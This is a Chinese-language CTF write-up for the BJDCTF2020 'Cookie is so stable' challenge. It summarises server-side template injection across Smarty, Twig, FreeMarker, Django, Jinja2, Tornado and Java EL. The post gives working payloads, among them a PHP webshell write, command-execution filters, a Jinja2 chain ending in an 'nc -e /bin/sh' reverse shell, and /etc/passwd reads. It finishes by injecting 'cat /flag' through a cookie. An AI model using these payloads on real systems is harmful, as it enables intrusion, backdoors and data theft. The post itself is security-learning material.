当前位置:网站首页>SSTI 模板注入漏洞总结之[BJDCTF2020]Cookie is so stable
SSTI 模板注入漏洞总结之[BJDCTF2020]Cookie is so stable
2022-07-25 11:47:00 【一只Traveler】
知识点:
模板注入漏洞总结:参考:很全的总结:一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n's Blog
1.常用的模板引擎
PHP:smarty Twig Blade;
python : jinja2 django tornado
java : JSP FreeMarker Velocity
当在服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题.
具体看参考;下面讲使用;
使用:
Tplmap的安装与用法(内包含解决缺少库报错的处理教程)_小 白 萝 卜的博客-CSDN博客_tplmap
Twig
{ {7*‘7’}} 输出49
Jinja
{ {7*‘7’}}输出7777777
攻击:
攻击方向:
找到模板注入主要从三个方向进行攻击
(1)模板本身
(2)框架本身
(3)语言本身
1.模板本身;
(1)Smarty
payload
打开文件:
{self::getStreamVariable("file:///proc/self/loginuid")}写后门:
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}(2)Twig
payload:其中id是命令;
{
{_self.env.registerUndefinedFilterCallback("exec")}}{
{_self.env.getFilter("id")}}(3)freeMarker
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }2.利用框架本身的特性进行攻击
1).Django
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
2).Flask/Jinja2
config 是Flask模版中的一个全局对象,它代表“当前配置对象(flask.config)”,它是一个类字典的对象,它包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。虽然config是一个类字典对象,但是通过查阅文档可以发现 config 有很多神奇的方法:from_envvar, from_object, from_pyfile, 以及root_path。
{
{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//写文件
{
{ config.from_pyfile('/tmp/evil') }}
//加载system
{
{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//执行命令反弹SHELL3).Tornado
http://117.78.26.79:31093/error?msg={
{handler.settings}}3.利用模语言本身的特性进行攻击
1)python
2).JAVA
payload:
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}当然要是文件操作就要用另外的类了,思路是不变的
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
回到题目:
在flag界面输入{ {7*7}}
回显49;
存在模板注入;
题目提示cookie;
抓包看看:也可以F12 网络查看数据包发现;

有一个set-cookie;
也就是模板注入的地方:
先使用sytem()试试;

不行,再看看这是什么类型的注入:
使用{ {7*'7'}} 还是回显49,看来是Twig;
直接上payload:
{ {_self.env.registerUndefinedFilterCallback("exec")}}{ {_self.env.getFilter("cat /flag")}}
(要在第二个数据包中构造cookie的user;下图是第一个,在参数username直接构造不是不行的)

可以用F12看看数据包:


边栏推荐
- Location analysis of recording an online deadlock
- How to access DMS database remotely? What is the IP address? What is the user name?
- 【3】 DEM mountain shadow effect
- Atomic 原子类
- Brpc source code analysis (II) -- the processing process of brpc receiving requests
- 使用TensorBoard可视化训练过程
- Microsoft azure and Analysys jointly released the report "Enterprise Cloud native platform driven digital transformation"
- A method to prevent SYN flooding attacks -- syn cookies
- Pairwise comparison of whether the mean values between R language groups are the same: pairwise hypothesis test of the mean values of multiple grouped data is performed using pairwise.t.test function
- 【2】 Grid data display stretch ribbon (take DEM data as an example)
猜你喜欢
随机推荐
【4】 Layout view and layout toolbar usage
2.1.2 机器学习的应用
想要做好软件测试,可以先了解AST、SCA和渗透测试
Crawler crawls dynamic website
协程
R language ggplot2 visualization: use the ggstripchart function of ggpubr package to visualize the dot strip chart, set the palette parameter to configure the color of data points at different levels,
Mirror Grid
919. 完全二叉树插入器 : 简单 BFS 运用题
防范SYN洪泛攻击的方法 -- SYN cookie
基于Caffe ResNet-50网络实现图片分类(仅推理)的实验复现
Ups and downs of Apple's supply chain in the past decade: foreign head teachers and their Chinese students
[dark horse morning post] eBay announced its shutdown after 23 years of operation; Wei Lai throws an olive branch to Volkswagen CEO; Huawei's talented youth once gave up their annual salary of 3.6 mil
R语言使用ggpubr包的ggarrange函数将多幅图像组合起来、使用ggexport函数将可视化图像保存为jpeg格式(width参数指定宽度、height参数指定高度、res参数指定分辨率)
R language ggplot2 visualization: use the ggviolin function of ggpubr package to visualize the violin graph, set the add parameter to add jitter data points and mean standard deviation vertical bars (
微软Azure和易观分析联合发布《企业级云原生平台驱动数字化转型》报告
利用wireshark对TCP抓包分析
Azure Devops(十四) 使用Azure的私有Nuget仓库
Knowledge maps are used to recommend system problems (mvin, Ctrl, ckan, Kred, gaeat)
嵌套事务 UnexpectedRollbackException 分析与事务传播策略
cmake 学习使用笔记(二)库的生成与使用

![[ROS advanced chapter] Lecture 9 programming optimization of URDF and use of xacro](/img/a2/9b676d0f1b33cc7d413cee6c52d76d.png)







